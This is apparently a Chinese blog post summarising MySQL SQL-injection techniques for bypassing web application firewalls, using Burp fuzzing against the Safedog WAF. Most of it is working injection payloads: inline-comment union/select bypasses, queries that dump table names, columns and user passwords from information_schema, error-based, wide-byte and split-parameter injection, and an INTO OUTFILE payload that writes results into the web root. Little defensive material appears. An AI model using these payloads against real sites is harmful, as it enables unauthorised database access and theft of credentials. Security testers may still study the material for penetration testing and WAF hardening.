MySQL注入之Fuzz测试&Bypass WAF小结
BurpSuite Fuzz测试
在绕过之前需要搞清楚哪些东西被过滤了,哪些没有,主要思路就是通过fuzz来辅助判断。
WAF的规则过滤时可能重点关注的5个位置:id=1[1]union[2]select[3]1,username,3[4]from[5]users
安全狗试一下-1' union select 1,2,3 --+不出所料被拦截了。

测试单独的一个union和单独的select都是可以的过的,但是组合在一起联合查询就会被过滤,最基本的绕过思路是使用内联注释/**/和/*!*/来替换空格绕过。
内联注释
注释/*!*/可以来替换空格绕过,它是一种特殊的注释,被称为条件编译注释。当!后面接数据库版本号时,如果自身版本号大于等于字符数,就会将注释中的内容执行,否则就会当做注释来处理。
比如:/*!000001*/,MySQL的版本为5.7,注释中的内容被当作SQL语句执行了,下面的例子相当于1=1,成功绕过了and 1=1的限制。


注释/**/和/*!*/的区别就是它包含的内容MySQL不会执行。
关于内联注释
/*!50100*/特别注意50100表示MySQL的版本5.01.00或者更高的版本,才有效不报错。也就是说内联注释可以从/*!00000*/到/*!50100*/都可以作为payload。
绕过union[]select联合查询
观察以往多种bypass的payload,union和select之间的位置/**/中间加东西可以绕过。
不妨用Burp Fuzz试一试:

对union和select之间的字符进行爆破:

当字符的长度来到5的时候,发现有很多就可以绕过了:

随便选一个来进行测试,构造payload如下:

-1'union/*/!*!/*/select%201,2,3--+
成功绕过了联合查询的空格过滤。
绕过敏感函数
当联合查询被绕过以后需要借助一些函数来了解数据库。但是直接执行函数毫无疑问会被过滤。


是将函数名+括号一同过滤,单独的函数名没有过滤,括号也没有被过滤。使用等价函数绕过显然不现实,函数名大小写,双写这些常规套路也都没用。
尝试16进制编码绕过:

绕过了但又没完全绕过,被编码的函数名被当作一个普通的字符,不会被当作一个函数执行。
所以思路是将函数名和括号分开,在函数名上做文章,尝试用注释/*!xxx*//**/()这种方式来进行绕过:
单纯的注释肯定不可以,用Burp Fuzz试一试:

利用绕过空格的思路,发现有很多都可以绕过的:

随便选一个
-1'union/*/!*!/*/select%201,/*!user*//*/-//*/(),3--+
-1'union/*/!*!/*/select%201,database/*///-*/(),3--+
成功绕过了敏感函数过滤。
绕过from[]information_schema查表
当绕过敏感函数database()后就可以查看数据库有哪些表,正常的SQL语句:
group_concat(table_name) from information_schema.tables where table_schema=database()
经过测试发现from table_name和information_schema.tables均被过滤。
同样采用上面内联注释的方法试一试:

尝试使用注释绕过from后的空格,并且使用其他的表代替information_schema.tables(参考 MYSQL注入中information_schema的替代 )但是也没能成功。
看看其他师傅是如何绕过的:
还有一种的话就是内联注释的利用方法就是中间加注释符再加换行,也就是/*!%23%0a*/这种形式:

将%23换成--+再构造试一试:

-1'union/*/!*!**/select%201,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables*/%20where%20table_schema='security'--+
成功爆出了表名。
有了表名的绕过,那么爆列名也不是件太难的事情,修改一下Payload即可:

-1'union/*/!*!**/select%201,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns*/%0awhere%0atable_name='users'--+
同理,修改语句即可爆字段信息:

-1'union/*/!*!**/select%201,2,group_concat(id,password)from/*!--+/*%0ausers*/--+
报错注入示例
当union联合查询不可使用时,并且在有报错的情况下可以考虑使用报错注入:
and ST_LatFromGeoHash(concat(0x7e,(select/*/!*!**/username/*/!*!**/from/*/!*!**/users/*/!*!**/limit 0,1),0x7e))

在报错函数中利用内联注释绕过空格的方式同样可用。
常规绕过思路总结
搜集了一些常规的绕过思路和方法,随着WAF越来越强,有些方法已经失效了。但在实战的时候多一种思路也不是什么坏事。
空格绕过
最基本的绕过方法是使用注释/**/和/*!*/来替换空格:
select/**/schema_name/**/from/**/information_schema.schemata;
select/*!*/schema_name/*!*/from/*!*/information_schema.schemata;
使用/*!...*/条件编译注释绕过空格:
/*!select*//*!schema_name*//*!from*//*!information_schema.schemata*/;
在SQL中,括号()用来重新组织语句结构,并且而括号的两端可以没有多余的空格(最好用):
select(schema_name)from(information_schema.schemata);
在SQL中,反引号(``)用于标识数据库、表或列的名称。在反引号的两端可以没有多余的空格:
select`username`from`user`;
使用浮点数:
select * from user where id=1 union select 1,2,3;
select * from user where id=1.0 union select 1,2,3;
select * from user where id=1e0union select 1,2,3;
使用%20 %09 %0a %0b %0c %0d %a0 %00等URL编码代替空格。
引号绕过
使用十六进制编码绕过:
selec * from user where username="admin";
select * from user where username=0x61646D696E;
逗号绕过
使用join连接操作绕过逗号:
select * from user union select 1,2,3;
select * from user union select * from (select 1)a join (select 2)b join (select 3) as alias;

在盲注时,用到的字符串截取函数substr(),substring(),mid()中也会用到逗号:
substr(string, position, length)
可以使用from position for length的方式绕过逗号:
select substr(database(),1,1);
select substr(database() from 1 for 1);
select substring(database(),1,1);
select substring(database() from 1 for 1);
select mid(database(),1,1);
select mid(database() from 1 for 1);
盲注时逐个判断查到字符ascii码时,可以直接使用模糊查询来绕过字符串截取函数的逗号:
select ascii(substr(database(),1,1))=117;
select database() like 'u%';
对于limit可以使用offset来绕过逗号:
select * from news limit 0,1
select * from news limit 1 offset 0
比较符号绕过
大于号>和小于号<在盲注中也经常使用。
greatest()函数可接受多个数值参数,返回最大值。least()用法相同,返回最小值。
select greatest(1,2,3);
select least(1,2,3);
字符串的比较MySQL支持C语言中的字符串比较函数strcmp(str1,str2)。当str1=str2,返回0;当str1>str2,返回1;当str1<str2,返回-1。
操作符in可用于在where子句中进行多项比较:
select * from user where id in (1, 3, 5);
between and 选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。
between 1 and 1; #等价于=1
盲注使用二分查找的时候,需要使用到比较操作符来进行查找:
select * from user where ascii(substr(database(),1,1))>64;
使用greatest()函数绕过比较符号:
select * from user where greatest(ascii(substr(database(),0,1)),64)=64
如果等号=被过滤,可以考虑使用like | regexp或者<>绕过:
select * from user where username like 'admin'; #模糊匹配字符串
select * from user where username regexp '^[a]' #正则表达式匹配
<>操作符在MySQL中表示不等于:
select * from users where username <> 'guest';
逻辑符号绕过
or,and,xor,not布尔逻辑操作符被过滤:
and 等价 && or 等价 || xor 等价 | not 等价 !
在或者可用与运算符^来绕过:
真^真^真=真
真^假^真=假
真^(!(真^假))=假
关键字绕过
union,select,where等关键字被过滤:
使用大小写绕过:
sELeCt * fRoM user UnIoN/**/SeLeCT 1,2,3;
使用注释符绕过:
/**/, #, --+, -- -, //, -- , ;, %00, --a
内联注释绕过:
/*!UnIoN*/ SeLeCT 1,2,3;
双写绕过(只将匹配的第一个关键字删除):
UNIunionONSeLselectECT1,2,3;
能使用注释绕过的很大一部分原因是服务器端未检测或检测不严注释内的字符串。
编码绕过
URL编码,ASCII,HEX,Unicode编码绕过:
select * from user where username='admin' and password='%20OR%201=1';
select * from user where username='admin' and password=char(39,111,114,48,49,48,49,48,49)';
select * from users where username='admin' and password=0x2726;
select * from users where username='admin' and password=unicode('%u0027');
等价函数绕过
hex(),bin() ==> ascii()
sleep() ==> benchmark()
concat() ==> group_concat(),concat_ws()
substr() ==> substring(),mid(),left(),right(),elt()
length() ==> char_length()
@@user ==> user()
@@datadir ==> datadir()
......
宽字节注入
在MySQL使用GBK编码(宽字符集)的时候,会认为两个字符为一个汉字。
当PHP开启GPC后,会对特殊字符进行转义,比如将'转义为\',转义后字符对应的URL编码为%5c%27。
如果现在在%5c%27的前面加上%df,则就变为了%df%5c%27。此时使用GBK编码的MySQL就会认为%df%5c是一个宽字符,也就是一个汉字運。这样就会导致%27作为一个单独的'符号留在外面,有了单引号就可以注入。
简单说就是,利用宽字符集占用两个字节的性质,利用%df吃掉用来转义的\字符,造成单引号逃逸,产生注入。
id=1' =转义处理=> id=%31%5c%27 =sql语句=> id=1\' ==> 无法注入
id=1%df' =转义处理=> id=%31%df%5c%27 =sql语句=> id=1運' ==> 宽字节注入
防御:
设置MySQL的连接参数,使用二进制模式 charcater_set_client=binary
多参数请求拆分
对于多个参数拼接到同一条SQL语句中的情况,可以将注入语句分割插入。
例如请求URL时,GET参数格式如下:
?a=[input1]&b=[input2]
将GET的参数a和参数b拼接到SQL语句中:
and a=[input1] and b=[input2]
这时就可以将注入语句进行拆分,如下所示:
a=union/*&b=*/select 1,2,3,4
最终将参数a和参数b拼接,得到的SQL语句如下所示:
and a=union /*and b=*/select 1,2,3,4
生僻函数
使用生僻函数替代常见的函数,例如在报错注入中使用polygon()函数替换常用的updatexml()函数绕过函数过滤:
select polygon((select * from (select * from (select @@version) f) x));
输出内容过滤
编码
hex() to_base64()
字符替换
replace(str,from_str,to_str)
编码+字符替换
replace(to_base64(xxx),from_str,to_str) #replace多次套用
将查询结果写入文件再读取
0' union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/1.txt'#
参考文章:
https://www.cnblogs.com/Vinson404/p/7253255.html
https://cloud.tencent.com/developer/article/2050038
https://www.freebuf.com/articles/web/321240.html
若有错误,欢迎指正!o( ̄▽ ̄)ブ
MySQL注入之Fuzz测试&Bypass WAF小结的更多相关文章
- 对MYSQL注入相关内容及部分Trick的归类小结
前言 最近在给学校的社团成员进行web安全方面的培训,由于在mysql注入这一块知识点挺杂的,入门容易,精通较难,网上相对比较全的资料也比较少,大多都是一个比较散的知识点,所以我打算将我在学习过程中遇 ...
- 安全测试===Mysql 注入技巧学习 MySQL注入技巧(2)
原文地址:http://websec.files.wordpress.com/2010/11/sqli2.pdf 0x00.介绍 也可以参考瞌腄龙的mysql注入科普:http://drops.woo ...
- SQL注入之DVWA平台测试mysql注入
今天主要针对mysql常用注入语句进行测试. 测试环境与工具: 测试平台:DVWA,下载地址:http://down.51cto.com/data/875088,也可下载metaspolit-tabl ...
- WAF攻防研究之四个层次Bypass WAF
从架构.资源.协议和规则4个层次研究绕过WAF的技术,助于全方位提升WAF防御能力. 绕过WAF的相关技术研究是WAF攻防研究非常重要的一部分,也是最有趣的部分,所以我在写WAF攻防时先写攻击部分.还 ...
- Bypass WAF Cookbook
PS.之前一直想把零零碎碎的知识整理下来,作为知识沉淀下来,正好借着wooyun峰会的机会将之前的流程又梳理了一遍,于是就有了下文.也希望整理的内容能给甲方工作者或则白帽子带来一些收获. 0x00 概 ...
- 十八:SQL注入之堆叠及绕WAF
堆叠查询注入 (双查询注入) stacked injections(堆叠注入)从名词的含义就可以看到是一堆的SQL语句一起执行,而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一 ...
- Mysql注入汇总!!!!!!!!!
师傅tpl!!!!! https://xz.aliyun.com/t/7169[对MYSQL注入相关内容及部分Trick的归类小结] https://www.jianshu.com/p/f261125 ...
- Mysql注入小tips --持续更新中
学习Web安全好几年了,接触最多的是Sql注入,一直最不熟悉的也是Sql注入.OWASP中,Sql注入危害绝对是Top1.花了一点时间研究了下Mysql类型的注入. 文章中的tips将会持续更新,先说 ...
- 史上最完整的MySQL注入
原文作者: Insider 免责声明:本教程仅用于教育目的,以保护您自己的SQL注释代码. 在阅读本教程后,您必须对任何行动承担全部责任. 0x00 ~ 背景 这篇文章题目为“为新手完成MySQL注入 ...
- 使用sqlmap对进行php+mysql注入实战
作者:陈小兵一般来讲一旦网站存在sql注入漏洞,通过sql注入漏洞轻者可以获取数据,严重的将获取webshell以及服务器权限,但在实际漏洞利用和测试过程中,也可能因为服务器配置等情况导致无法获取权限 ...
随机推荐
- Linux | Ubuntu 16.04.4 通过docker安装单机FastDFS
Ubuntu 16.04.4 通过docker安装单机fastdfs 前言 很久没有写技术播客了,这是一件很不应该的事情,做完了事情应该有沉淀的. 我先说一点前情提要,公司的fastdfs突然就挂了, ...
- 一文轻松搞定 tarjan 算法(二)(附带 tarjan 题单)
完结篇:tarjan 求割点.点双连通分量.割边(桥)(附 40 道很好的 tarjan 题目). 上一篇(tarjan 求强连通分量,缩点,求边双) tarjan 求割点 还是求强联通分量的大致思路 ...
- 鸿蒙(Harmony) NEXT - AlphabetIndexer实现联系人字母索引
鸿蒙(Harmony) NEXT 9月份就要正式上架了,并且不会再兼容安卓平台,于是我也赶紧给App开发鸿蒙版本,接下来会写一系列的Harmony开发教程. 今天使用AlphabetIndexer实现 ...
- verilog vscode 与AI 插件
Verilog 轻量化开发环境 背景 笔者常用的开发环境 VIAVDO, 体积巨大,自带编辑器除了linting 能用,编辑器几乎不能用,仿真界面很友好,但是速度比较慢. Sublime Text, ...
- 006.MinIO基础使用
图形界面基础使用 bucket bucket创建 图形界面创建bucket. 特性: Versioning 开启版本控制,开启版本控制则允许在同一键下保持同一对象的多个版本. Object Locki ...
- postgre基于行数的外连接及python连接postgre数据库
外连接 左外/右外连接 左外连接:左表全部出现在结果集中,若右表无对应记录,则相应字段为NULL left join ... on 条件 右外连接:右表全部出现在结果集中,若左表无对应记录,则相应字段 ...
- 手搓大模型Task03:手搓一个最小的 Agent 系统
前言 训练一个大模型是一件高投入低回报的事情,况且训练的事情是由大的巨头公司来做的事情:通常我们是在已有的大模型基础之上做微调或Agent等:大模型的能力是毋庸置疑的,但大模型在一些实时的问题上, ...
- Kubernetes的Pod调度:让你的应用像乘坐头等舱!
一.Kubernetes 中 Pod 调度的重要性 在 Kubernetes 的世界里,Pod 调度就像是一个繁忙的交通指挥官,负责把小车(也就是我们的 Pod)送到最合适的停车位(节点).调度不仅关 ...
- 使用SourceTree管理仓库代码
1.首先我们需要下载sourcetree,你可以去官网下载自己需要的版本. 2.安装完毕之后,我们需要获取ssh密钥与github关联上才能使用 按下面的操作开始执行.确定之后,会出现一个字符界面,输 ...
- git工具:sourcetree使用中的部分问题
这段时间经常用到这个工具.就当记个笔记,记录一下我的一些问题. 问题一: 如果想要拉取远端更新: 第一步:先登陆sourcetree,点击"抓取". 第二步:在终端输入:git s ...